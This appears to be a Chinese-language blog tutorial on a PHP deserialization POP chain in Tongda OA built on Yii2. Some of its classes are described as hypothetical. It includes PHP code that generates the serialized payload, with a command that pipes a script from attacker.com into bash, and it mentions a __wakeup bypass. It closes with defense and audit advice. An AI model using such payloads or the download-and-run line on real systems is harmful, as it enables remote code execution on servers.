PHP反序列化漏洞链深度剖析:从Yii2框架到通达OA的POP链构造

发布时间:2026/7/4 23:09:23
PHP反序列化漏洞链深度剖析:从Yii2框架到通达OA的POP链构造 1. 项目概述一次针对特定应用场景的漏洞链深度剖析最近在复盘一些经典的PHP反序列化利用案例时通达OA系统中的一个老漏洞再次进入了我的视野。这不仅仅是一个简单的unserialize()触发问题而是一条在Yii2框架特定版本与通达OA定制代码交织环境下通过魔术方法Magic Method巧妙串联起来的完整攻击链。很多分析文章可能只告诉你最终那个能执行命令的exp漏洞利用代码但这条链子是怎么一环扣一环搭起来的为什么偏偏是这几个类和方法被选中背后的逻辑往往被一笔带过。今天我就以“工匠”拆解精密仪器的心态带大家走一遍这条利用链的构建之旅。无论你是专注于PHP安全的开发人员还是对反序列化漏洞原理感兴趣的安全研究者理解这条链的构造思路远比记住一个漏洞编号或利用脚本更有价值。它能帮你建立起在复杂框架中寻找和利用这类漏洞的“侦查”与“工程化”思维。简单来说这个漏洞场景是攻击者通过一个未授权或低权限的入口点比如某个特定的API接口或页面提交了一段恶意构造的序列化字符串。当通达OA的代码在处理用户输入时不慎调用了unserialize()函数这段“数据”就被重新激活成了内存中的对象。关键在于这些对象所属的类定义了一系列魔术方法如__wakeup()、__destruct()、__toString()、__call()等。反序列化过程会自动触发这些方法而攻击者通过精心选择和控制序列化字符串中的类属性就能让这些魔术方法的执行流程“拐入”预设的、危险的代码路径最终实现任意代码执行。整个过程就像预设了一套多米诺骨牌unserialize()是推倒第一块牌的手而魔术方法之间的调用关系就是牌与牌之间精巧的排列。2. 漏洞环境与核心原理铺垫在深入利用链之前我们必须先夯实基础理解这个漏洞得以存在的两个核心前提Yii2框架的序列化机制与通达OA的代码上下文。这绝非赘述因为后续所有精巧的利用都根植于此。2.1 Yii2框架中的序列化“特性”与风险Yii2作为一个全栈式框架其组件间经常需要传递和存储对象状态。yii\base\Component类及其子类广泛使用了PHP的__sleep()和__wakeup()魔术方法来管理这种行为。__sleep()在序列化前被调用用于指定哪些属性需要被序列化__wakeup()则在反序列化后立即被调用常用于重新初始化资源或状态。然而风险点就隐藏在yii\base\Component对__wakeup()的一个常见实现模式中为了恢复组件的行为特性Behaviors它可能会去访问一个名为_events或_behaviors的属性。如果攻击者能够控制序列化数据中这些属性的值就能控制__wakeup()方法执行时所操作的数据。更重要的是Yii2核心类yii\db\BatchQueryResult在反序列化时__wakeup会尝试调用reset()方法而reset()方法内部又会去访问_dataReader属性。如果_dataReader被我们控制为一个精心构造的对象那么访问其属性或调用其方法就可能触发另一组魔术方法如__get__call从而将执行流导向更危险的地方。注意这里的关键不是框架有漏洞而是框架提供的这种魔术方法自动执行机制与应用程序通达OA中存在的、可被控制的类结合后产生了危险的化学反应。安全开发中对用户输入进行反序列化操作本身就是高风险行为框架的复杂性更放大了审计的难度。2.2 通达OA的代码上下文寻找我们的“跳板”通达OA是基于Yii2进行深度定制的办公系统。这意味着一方面它继承了Yii2的所有类库和机制另一方面它又包含了大量自定义的业务逻辑类。我们的目标就是在这些自定义类中找到可以作为“跳板”的类。一个理想的“跳板”类通常具备以下特征在反序列化链中可达它的对象能被我们通过控制Yii2核心类的某个属性来实例化。定义了有用的魔术方法比如__toString()、__call()、__get()、__invoke()等这些方法会在特定时机被自动调用。魔术方法内部存在“脆弱”的操作例如__toString()方法里包含了file_put_contents()或eval()的调用过于理想化现实中较少或者更常见的方法内部使用了$this-xxx去访问另一个属性而那个属性恰好可以被我们控制为另一个对象从而触发新的魔术方法调用。这就是所谓的“属性注入”。类在反序列化时自动加载得益于PHP的自动加载机制和Yii2的类映射只要这个类在项目中存在反序列化时就能被成功还原无需提前include。在通达OA的案例中经过对代码的审计我们找到了一个符合上述条件的自定义类假设它为app\models\DocumentProcessor。这个类可能有一个__call()方法当对象尝试调用一个不存在的方法时会被触发。而在__call()方法内部它可能会执行类似call_user_func_array([$this-handler, $method], $args)这样的代码。如果我们可以控制$this-handler属性就能让它去调用任意对象的任意方法。3. 利用链的构造从起点到命令执行有了前面的铺垫我们现在可以开始拼接这条利用链。我会按照攻击者思考的顺序一步步还原整个过程。3.1 起点寻找不安全的反序列化入口点任何反序列化漏洞利用的第一步都是找到一个传入点unserialize()的调用点。在通达OA的这个漏洞中入口点通常位于一个处理用户会话、缓存数据或API参数的控制器方法里。例如可能在处理Cookie中某个特定字段如TD_OA_DATA时直接进行了反序列化操作。攻击者通过抓包或代码审计发现这个点后就可以开始注入恶意的序列化字符串。3.2 第一跳从Yii2核心类到可控属性我们无法直接实例化通达OA的自定义类DocumentProcessor因为入口点的反序列化可能只接受特定类型。但我们可以从Yii2一个广泛存在的类入手比如前面提到的yii\db\BatchQueryResult。我们构造一个BatchQueryResult的序列化字符串并将其_dataReader属性设置为一个DocumentProcessor对象。当这个字符串被反序列化时PHP创建BatchQueryResult对象。自动调用其__wakeup()方法。__wakeup()内部调用reset()。reset()方法尝试访问$this-_dataReader此时已是我们设置的DocumentProcessor对象。访问对象属性这个操作本身在某些情况下就可能触发魔术方法。但更常见的路径是reset()方法中可能包含了对_dataReader的某个方法调用比如close()。如果DocumentProcessor类没有close()方法就会触发其__call()魔术方法。至此执行流成功从Yii2框架的核心类跳转到了我们可控的通达OA自定义类。3.3 第二跳在自定义类中寻找“发射器”现在执行流进入了DocumentProcessor的__call($method, $args)方法。假设其内部实现如下public function __call($method, $args) { if (isset($this-handler) is_callable([$this-handler, $method])) { return call_user_func_array([$this-handler, $method], $args); } throw new \Exception(Method not found); }这是一个非常典型的、也是风险很高的模式。它试图将调用转发给$this-handler属性所指向的对象。如果handler属性可控我们就获得了调用任意对象任意方法的能力。我们需要寻找一个合适的“发射器”类作为handler。这个类的某个方法能最终导致代码执行。在PHP中有几个经典的“发射器”Phar类结合Phar://反序列化但受限于phar扩展和特定场景。拥有__invoke()方法的类当对象被当作函数调用时触发。拥有__toString()方法且方法内包含危险操作的类如某些模板引擎的解析方法。在通达OA的代码库中我们可能找到一个用于文件处理的类FileConverter它有一个convert()方法方法内部可能使用了system()或exec()来调用外部命令处理文件并且命令的一部分来源于对象的某个属性如$this-commandTemplate。3.4 最终组装完整的POP链我们将上述环节串联起来形成完整的Property-Oriented Programming (POP)链入口攻击者向漏洞入口点提交恶意序列化数据。反序列化服务器端unserialize()该数据生成对象$obj一个BatchQueryResult实例。触发链首$obj的__wakeup()被自动调用进而调用reset()。第一次跳转reset()访问$obj-_dataReader我们预设的DocumentProcessor对象并尝试调用其某个方法如close触发DocumentProcessor::__call()。第二次跳转__call()方法内部执行call_user_func_array([$this-handler, $method], ...)。我们将$this-handler设置为FileConverter对象$method设置为convert。执行命令FileConverter::convert()方法被执行其内部使用system($this-commandTemplate . $this-filePath)。我们通过序列化数据预先设置了commandTemplate为id;或其他命令filePath为一个无关参数最终实现系统命令id;的执行。这个链条可以形象地表示为unserialize() - BatchQueryResult::__wakeup() - reset() - 访问_dataReader属性 - DocumentProcessor::__call() - call_user_func_array() - FileConverter::convert() - system()4. 漏洞利用的实战细节与难点理解了链条原理我们来看看在实战构造利用载荷Payload时会遇到哪些具体问题和技巧。4.1 序列化字符串的构造我们不能手动拼接序列化字符串需要使用PHP代码来动态生成。核心是利用PHP的serialize()函数但需要精心设置对象的属性。// 1. 构造最终的命令执行对象 $finalObj new \app\utilities\FileConverter(); $finalObj-commandTemplate curl http://attacker.com/shell.sh | bash; ; $finalObj-filePath ; // 2. 构造中间跳板对象其handler属性指向最终对象 $jumpObj new \app\models\DocumentProcessor(); $jumpObj-handler $finalObj; // 关键属性注入 // 3. 构造链起始对象其_dataReader属性指向跳板对象 $startObj new \yii\db\BatchQueryResult(); // 注意_dataReader通常是protected或private属性不能直接赋值。 // 我们需要通过反射Reflection来强制设置或者利用类的特定方法。 // 这里假设我们通过某种方式如另一个魔术方法__set或利用其构造函数、其他可控属性间接设置了它。 // 简化示例实际更复杂 $reflection new \ReflectionClass($startObj); $property $reflection-getProperty(_dataReader); $property-setAccessible(true); $property-setValue($startObj, $jumpObj); // 4. 生成最终的Payload $payload serialize($startObj); echo urlencode($payload); // 通常需要URL编码后放入Cookie或POST数据实操心得处理protected/private属性是构造POP链的常见难点。除了反射有时可以利用目标类自身的__wakeup()或__set()方法。例如如果BatchQueryResult的__wakeup()里有一段代码是foreach($this-data as $k $v) { $this-$k $v; }那么我们就可以在序列化数据中设置一个data数组其键名为_dataReader值为我们构造的跳板对象序列化子串从而实现属性赋值。这需要对目标类代码有深入的审计。4.2 处理自动加载与类依赖我们的Payload中涉及了多个类yii\db\BatchQueryResultapp\models\DocumentProcessorapp\utilities\FileConverter。当服务器端反序列化时这些类必须能被自动加载器找到否则会触发“Class not found”错误导致链中断。Yii2核心类通常没问题因为Yii2框架已加载。通达OA自定义类关键在于这个类文件是否在反序列化发生时已经被include或可以通过Yii2的自动加载规则PSR-4或自定义映射加载。我们需要确保触发漏洞的代码路径在调用unserialize()之前或之时已经包含了这些类的定义文件。通过审计入口点周围的代码或利用Yii2的自动加载机制通常可以满足。4.3 绕过__wakeup的限制在PHP 7.4的某些版本中如果序列化字符串中表示的属性数量大于实际类中的属性数量__wakeup()方法可能不会被调用这是一个已知的绕过技巧但依赖于PHP版本和配置。在构造利用链时我们需要测试目标环境的PHP版本。对于低版本或不受此限制的环境我们的链依赖__wakeup()启动所以必须确保它能被正常触发。5. 防御策略与安全开发建议分析漏洞是为了更好地防御。从这条利用链中我们可以总结出多层防御策略根本解决杜绝不可信数据的反序列化最有效的方法就是避免对用户输入、Cookie、未经验证的缓存数据使用unserialize()。如果需要存储对象状态考虑使用JSON等更安全的格式。输入验证与过滤如果业务上必须使用反序列化务必进行严格的白名单验证。只允许反序列化预期的、有限的几个安全类。可以使用PHP的allowed_classes参数unserialize($data, [allowed_classes [SafeClass1, SafeClass2]])。代码审计重点查找unserialize()调用点这是源头。审计魔术方法重点关注__wakeup__destruct__toString__call__get__set。检查这些方法内部是否存在对可控属性尤其是对象类型属性的危险操作如call_user_funcsystem/execeval文件操作等。关注POP链的“桥接类”那些同时被框架和业务代码使用、或者属性类型为通用接口/父类的类往往是链子连接的关键。使用替代方案考虑使用更安全的序列化库如symfony/serializer并配合严格的模式检查。对于对象持久化可以考虑使用ORM如Doctrine内置的序列化机制。框架与组件升级及时升级Yii2框架到最新版本官方会修复已知的安全问题。同时关注通达OA官方的安全更新。6. 从该案例延伸的漏洞挖掘思路这个案例为我们提供了一套在类似框架如Laravel ThinkPHP中挖掘反序列化漏洞的通用思路入口点挖掘全局搜索unserializemaybeUnserialize等函数调用关注参数是否用户可控。“启动器”收集收集所有包含__wakeup__destruct方法的类特别是框架基础类、常用组件类。这些是链条的潜在起点。“跳板”寻找在业务代码中寻找定义了__call__get__toString__invoke等魔术方法的类分析其内部实现是否存在可控点属性注入、动态调用。“发射器”定位寻找代码库中所有包含命令执行execsystempassthrushell_exec、文件写入file_put_contents、代码执行evalassertcreate_function以及危险回调call_user_funcarray_map配合$this-method的函数调用。检查其参数是否来自对象属性。链式组装测试尝试将找到的“启动器”、“跳板”、“发射器”按照“属性访问/方法调用”的关系连接起来构造一个从入口点到危险函数的完整调用路径。利用PHP代码动态生成Payload进行测试。这个过程需要耐心和细致的代码审计能力以及对PHP对象模型和框架架构的深入理解。每一次成功的漏洞挖掘都是对这套思维模式的一次成功实践。